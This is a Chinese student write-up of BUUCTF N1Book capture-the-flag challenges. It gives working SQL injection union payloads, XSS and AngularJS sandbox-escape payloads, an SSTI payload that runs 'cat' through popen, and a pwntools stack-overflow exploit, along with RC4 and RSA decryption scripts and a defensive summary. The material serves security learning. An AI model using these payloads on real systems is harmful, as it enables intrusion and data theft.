漏洞复现分析-ctf
CTF赛题分析
利用BUUCTF在线评测上的CTF赛题平台上的题目
1[第一章 web入门]SQL注入
SQL注入攻击(SQL Injection Attack)是一种网络攻击技术,攻击者通过在用户输入字段中插入恶意的SQL代码,试图操纵应用程序执行未经授权的SQL查询操作。SQL注入攻击的主要目标是绕过应用程序的安全措施,直接访问、修改、删除数据库中的数据,或者执行恶意操作。

- 利用kali中sqlmap分析网址
http://624e4448-621b-48d8-a7ee-bbbb2b9a7b8f.node5.buuoj.cn:81/index.php?id=1,



- id=1' AND 2271=2271 AND 'fZbm'='fZbm构造sql注入失败,证明不是数字型注入

分别对url进行如下修改
id=1' and 1 = 1--+
id=1' and 1 = 2--+
- 在更改url为第二个发现页面出现错误,证明存在字符型注入点
![]()
判断字符段的数量
id=1' order by 3 --+
id=1' order by 4 --+
输入id=1' order by 3 --+产生的回显
输入id=1' order by 4 --+ 未产生的回显
证明字段数为三位
- 用联合查询查一下数据库名
?id=-1' union select 1,database(),3 --+
?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
或者
?id=4' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+


数据库名就为note
- ?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='fl4g'--+,fl4g表

- ?id=-4' union select 1,database(), group_concat(fllllag) from fl4g --+,找到flag

2[第二章 web进阶]XSS闯关
XSS攻击(Cross-Site Scripting,跨站脚本攻击)是一种常见的网络安全漏洞,发生在应用程序没有对用户输入进行适当的验证和转义时。攻击者通过在网页中注入恶意的脚本代码,使得其他用户在浏览这些网页时无意中执行了这些恶意脚本。

- 第一关


构造 payload:
第一关未进行任何过滤,我们输出再标签之间,直接构造即可
<script>alert(/xss/)</script>

- 第二关

var username = 'xss'; //使用';结束前面的语句,后面加上函数alert(1);使用'1闭合后面的单引号,当然你也可以使用将其注释(//)
使用 ’; 结束前面的语句,后面加上函数 alert(1); 使用 ’1 闭合后面的单引号,当然也可以使用将其注释(//)

- 第三关

查看一下源代码,发现单引号(’)被转义
发现多了一个反斜杠+单引号(’),那么就相当于’'构成了闭合,那么我们的构造可以为: '';alert(1);'1

- 第四关

?jumpUrl=javascript:alert(1)

- 第五关


getQueryVariable('autosubmit') !== false){ //如果出错就会执行getQueryVariable函数
autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action'); //变量action执行getQueryVariable函数
其实,只要我们绕过这两个变量就可以,payload如下所示:
level5?autosubmit=1&action=JavaScript:alert(1);//

- 第六关

http://1bbea037-ec4e-4120-bd60-16336bd00c60.node4.buuoj.cn/level6?username={{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

知识点整理:
(1)反射型XSS
反射性XSS又称为非持久性XSS,这种攻击方式往往具有一次性。
攻击方式:攻击者通过电子邮件等方式将包含XSS代码的恶意链接发送给目标用户。当目标用户访问该链接时,服务器接收该目标用户的请求并进行处理,然后服务器把带有XSS代码的数据发送给目标用户的浏览器,浏览器解析这段带有XSS代码的恶意脚本后,就会触发XSS漏洞。
(2)存储型XSS
存储型XSS又称为持久型XSS,攻击脚本将被永久的放在目标服务器的数据库或文件中,具有很高的隐蔽性。
攻击方式:这种攻击多见于论坛、博客和留言板,攻击者在发帖的过程中,将恶意代码连同正常信息一起注入帖子的内容中。随着帖子被服务器存储下来,恶意代码也永久的被放在服务器的后端存储器中。当其他用户浏览这个被注入了恶意脚本的帖子时,恶意脚本会在他们的浏览器中得到执行。
(3)DOM型XSS
DOM全称Document Objeect Model,使用DOM可以使程序和脚本能够动态访问和更新文档的内容,结构及样式。
DOM型XSS其实是一种特殊的反射型XSS,它基于DOM文档对象模型的一种漏洞。
4.XSS模板注入
Angular JS沙箱逃逸,从Angular1.6及以后版本,Angular沙箱已被删除。
验证XSS Angular(版本小于1.6)内的典型XSS payload如下:{{8*9}}
如果在pay;oad成功执行,结果72将会出现。
5.沙箱逃逸
Angular(版本号v1.4.0-v1.4.9)沙箱逃逸。
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
3[第三章 web进阶]SSTI
SSTI攻击(Server-Side Template Injection,服务器端模板注入)是一种Web安全漏洞,发生在应用程序将不受信任的数据直接嵌入到模板中进行解析和渲染时。攻击者可以通过注入恶意模板代码,导致服务器端执行未经授权的操作。

- 打开之后,发现就告诉我password is wrong,再看题目,模板注入,试试 /?password={{9*9}}

成功,利用语句拿到可用的类的列表
/?password={{"".__class__.__bases__[0].__subclasses__()}}

- 经过手工遍历,找到flag:n1book{eddb84d69a421a82}
../?password={{"".__class__.__bases__[0].__subclasses__()[127].__init__.__globals__['popen']('cat /app/server.py').read()}}

4.[第五章 CTF之RE章]Hello, RE
RE通常指逆向工程(Reverse Engineering),是一种通过分析现有系统或软件,推导出其设计原理、结构或功能的过程。逆向工程可以用于多种目的,例如理解软件的内部工作机制、分析恶意软件、进行漏洞挖掘,或对没有源代码的程序进行修改或破解。

- ida拖入直接查看字符串,发现flag

5.[第五章 CTF之RE章]BabyAlgorithm

- 把程序拖入IDA,找到主程序

- 分析代码段if ( strlen(s) == 45 ),sub_400874加密函数
sub_40067A和sub_400753两个函数都是加密算法,sub_40067A就是流密钥的生成;sub_400753是加密。



书上的p274有标识这是RC4加密的代码段

sub_400646函数的作用是两数交换,等价于书上写的swap(s[i],s[j])
- 知道上述加密法方是RC4,可知本题的密钥是‘Nu1Lctf233’,加密后的密文是
[0xc6,0x21,0xca,0xbf,0x51,0x43,0x37,0x31,0x75,0xe4,0x8e,0xc0,0x54,0x6f,0x8f,0xee,0xf8,0x5a,0xa2,0xc1,0xeb,0xa5,0x34,0x6d,0x71,0x55,0x8,0x7,0xb2,0xa8,0x2f,0xf4,0x51,0x8e,0xc,0xcc,0x33,0x53,0x31,0x0,0x40,0xd6,0xca,0xec,0xd4 ]
密文转换成字符型看一下Æ!Ê¿QC71uäŽÀToîøZ¢Áë¥4mqU²¨/ôQŽ Ì3S1
发现是乱码查了资料后才知道这边要给它进行‘utf-8’编码,然后得到真正的密文
w4Yhw4rCv1FDNzF1w6TCjsOAVG/Cj8Ouw7hawqLDgcOrwqU0bXFVCAfCssKoL8O0UcKODMOMM1MxAEDDlsOKw6zDlA==

import base64
def rc4_main(key="init_key", message="init_message"):
print("RC4解密主函数调用成功")
print('\n')
s_box = rc4_init_sbox(key)
crypt = rc4_excrypt(message, s_box)
return crypt
def rc4_init_sbox(key):
s_box = list(range(256))
print("原来的 s 盒:%s" % s_box)
print('\n')
j = 0
for i in range(256):
j = (j + s_box[i] + ord(key[i % len(key)])) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
print("混乱后的 s 盒:%s" % s_box)
print('\n')
return s_box
def rc4_excrypt(plain, box):
print("调用解密程序成功。")
print('\n')
plain = base64.b64decode(plain.encode('utf-8'))
plain = bytes.decode(plain)
res = []
i = j = 0
for s in plain:
i = (i + 1) % 256
j = (j + box[i]) % 256
box[i], box[j] = box[j], box[i]
t = (box[i] + box[j]) % 256
k = box[t]
res.append(chr(ord(s) ^ k))
print("res用于解密字符串,解密后是:%res" % res)
print('\n')
cipher = "".join(res)
print("解密后的字符串是:%s" % cipher)
print('\n')
print("解密后的输出(没经过任何编码):")
print('\n')
return cipher
a = [0xc6, 0x21, 0xca, 0xbf, 0x51, 0x43, 0x37, 0x31, 0x75, 0xe4, 0x8e, 0xc0, 0x54, 0x6f, 0x8f, 0xee, 0xf8, 0x5a, 0xa2,
0xc1, 0xeb, 0xa5, 0x34, 0x6d, 0x71, 0x55, 0x8, 0x7, 0xb2, 0xa8, 0x2f, 0xf4, 0x51, 0x8e, 0xc, 0xcc, 0x33, 0x53,
0x31, 0x0, 0x40, 0xd6, 0xca, 0xec, 0xd4]
s = ""
for i in a:
s += chr(i)
s = str(base64.b64encode(s.encode('utf-8')), 'utf-8')
rc4_main("Nu1Lctf233", s)

得到最终flag:n1book{us1nG_f3atur3s_7o_de7erm1n3_4lg0ri7hm}
6.[第六章 CTF之PWN章]stack
Pwn类题目通常涉及利用漏洞来获得对目标系统的控制权,特别是在安全和黑客竞赛中,它主要关注二进制漏洞的利用。在这些挑战中,stack(堆栈)相关的Pwn题目是非常常见的一类,主要涉及对程序堆栈的控制或破坏
习惯性查一下保护,很明显的栈溢出。


很明显的shellcode
直接十八个字节再加上返回地址就有了。
exp
from pwn import*
r = remote('node3.buuoj.cn',27516)
#r = process('./stack')
context.log_level = "debug"
#gdb.attach(r)
system_addr = 0x400537
payload = 'a' * 18 + p64(0x40054e) + p64(system_addr)
r.sendline(payload)
r.interactive()
7.[第七章 CTF之CRYPTO章]BabyRSA
Crypto(Cryptography,加密学)类题目主要考察参赛者对密码学原理、加密算法和解密技巧的理解和应用能力。Crypto题目通常涉及破译加密信息、解码编码数据、破解密钥或破解基于密码学的挑战。

题目:
from Crypto.Util.number import *
flag = bytes_to_long("n1book{*********}")
p = getPrime(128)
q = getPrime(128)
n = p * q
e = 65537
cipher = pow(flag, e, n)
print n, cipher
#69343391982073836527260787066436662760820725339907775857387709078502658633087
#19914364722342610626569065936888842248099105322649309104924491672406432347316
- 已知n,用yafu分解n,得到q,p:
q=306646691207889915109374013611076713401
p=226134486267985710544345427491176087287
- 那么已知p,q,n,e,就可以脚本解m(flag)
#!/usr/bin/env python
# -*- coding:utf-8 -*-
import binascii
import gmpy2
import Crypto.Util
p=226134486267985710544345427491176087287
q=306646691207889915109374013611076713401
e=65537
c=19914364722342610626569065936888842248099105322649309104924491672406432347316
n=q*p
phi=(p-1)*(q-1)
d=gmpy2.invert(e,phi)
m=pow(c,d,n)
print(hex(m))
print(binascii.unhexlify(hex(m)[2:].strip("L")))
- 得到flag:flag{ju5t_f4ctor1z3_N}
三、收获与心得
在分析和总结了各种漏洞及其利用方式后,我们可以提炼出以下关键的安全心得。这些心得不仅涵盖了漏洞的成因和影响,还包括了防御措施和实践建议,为提升系统安全性提供了全面的指导。
1. 缓冲区溢出漏洞(Buffer Overflow)
成因:由于程序未能正确限制输入数据的大小,导致数据写入超过缓冲区的边界,从而覆盖临近的内存区域。
危害:攻击者可以覆盖函数返回地址或其他关键数据,导致任意代码执行或程序崩溃。
防御措施:
使用安全函数如strncpy、snprintf。
启用堆栈保护机制(Stack Canaries)。
使用地址空间布局随机化(ASLR)和数据执行保护(DEP)。
2. 格式化字符串漏洞(Format String Vulnerability)
成因:程序将不受信任的用户输入直接作为格式化字符串传递给格式化函数(如printf),导致未预期的内存读写操作。
危害:攻击者可以读取或修改程序内存,甚至执行任意代码。
防御措施:
永远不要直接将用户输入作为格式化字符串。
使用安全的格式化方式,如指定具体的格式字符串而非使用用户输入。
3. 堆溢出漏洞(Heap Overflow)
成因:程序在处理动态分配的内存时,没有正确地进行边界检查,导致超出预期范围的内存写入。
危害:攻击者可能通过溢出覆盖堆上的数据结构或指针,从而控制程序流或导致崩溃。
防御措施:
严格检查动态内存操作的边界。
使用安全的内存分配函数,并定期检查内存使用情况。
启用堆分配随机化和完整性检查机制。
4. 数组越界访问漏洞(Array Out-of-Bounds Access Vulnerability)
成因:程序试图访问数组中超出其定义范围的元素,通常由于缺乏边界检查或计算错误导致。
危害:越界访问可能导致读取或写入未授权的内存区域,进而泄露敏感信息或执行任意代码。
防御措施:
在访问数组时,始终进行严格的边界检查。
使用高级数据结构来自动管理内存和边界检查。
利用静态和动态分析工具检测数组越界访问。
5. 通用防御措施与实践
输入验证与清理:始终对用户输入进行严格的验证和清理,防止恶意数据注入。安全编码实践:遵循安全编码标准和最佳实践,避免使用已知不安全的函数和方法。定期代码审查与测试:通过代码审查、单元测试和渗透测试来发现和修复潜在的漏洞。使用现代编译器和安全工具:利用编译器提供的安全特性和工具,如地址空间布局随机化(ASLR)、堆栈保护(Stack Canaries)和堆完整性检查等,提高漏洞利用的难度。
总结
通过深入理解和分析这些漏洞,可以发现大多数漏洞的根本原因是对输入的缺乏有效的验证和内存操作的边界检查。现代的防御措施和编程实践可以显著降低这些漏洞的风险。然而,真正有效的安全防护不仅依赖于工具和机制,还需要开发人员具备安全意识,在代码编写的每个环节中都考虑到潜在的安全问题。通过不断学习和应用这些知识,开发更为健壮和安全的系统。
四、参考资料
漏洞战争:软件漏洞分析精要/林桠泉著.—北京:电子工业出版社,2016.6(安全技术大系)ISBN 978-7-121-28980-4
CVE-2010-2883 从漏洞分析到样本分析-CSDN博客
CVE-2010-2883漏洞分析_cve-2010-2883分析-CSDN博客
CVE-2010-3333漏洞分析与利用(包括POC构造) - 『软件调试区』 - 吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn
CVE-2010-3333:Microsoft RTF 栈溢出漏洞调试分析-CSDN博客
CVE-2012-0003:Microsoft Windows Media Player winmm.dll MIDI 文件堆溢出漏洞调试分析-CSDN博客
CVE-2012-1876 漏洞分析与利用 | Ash blog (ashlq.github.io)
[原创]格式化字符串漏洞利用方法及CVE-2012-0809漏洞分析-二进制漏洞-看雪-安全社区|安全招聘|kanxue.com
[原创]CVE-2011-2110 AdobeFlashPlayer数组越界访问漏洞分析-二进制漏洞-看雪-安全社区|安全招聘|kanxue.com
第六天 [第一章 web入门]SQL注入-1_哔哩哔哩_bilibili
BUUCTF [第一章 web入门]SQL注入-1_[第一章 web入门]sql注入-1 1-CSDN博客
BUUCTF[第二章Web进阶]XSS闯关教程_[第二章 web进阶]xss闯关-CSDN博客
《从0到1:CTFer成长之路》书籍配套题目 Buuctf N1Book - 夜布多 - 博客园 (cnblogs.com)
N1BOOK——[第五章 CTF之RE章]wp_[第五章 ctf之re章]helloworld 100-CSDN博客
RC4加密算法 - zbility - 博客园 (cnblogs.com)
N1BOOK——[第五章 CTF之RE章]wp_[第五章 ctf之re章]helloworld 100-CSDN博客
buuoj [第六章 CTF之PWN章]stack_ctf bbstack-CSDN博客
BUUCTF_N1book_[第七章 CTF之CRYPTO章]BabyRSA - Luccky - 博客园 (cnblogs.com)

浙公网安备 33010602011771号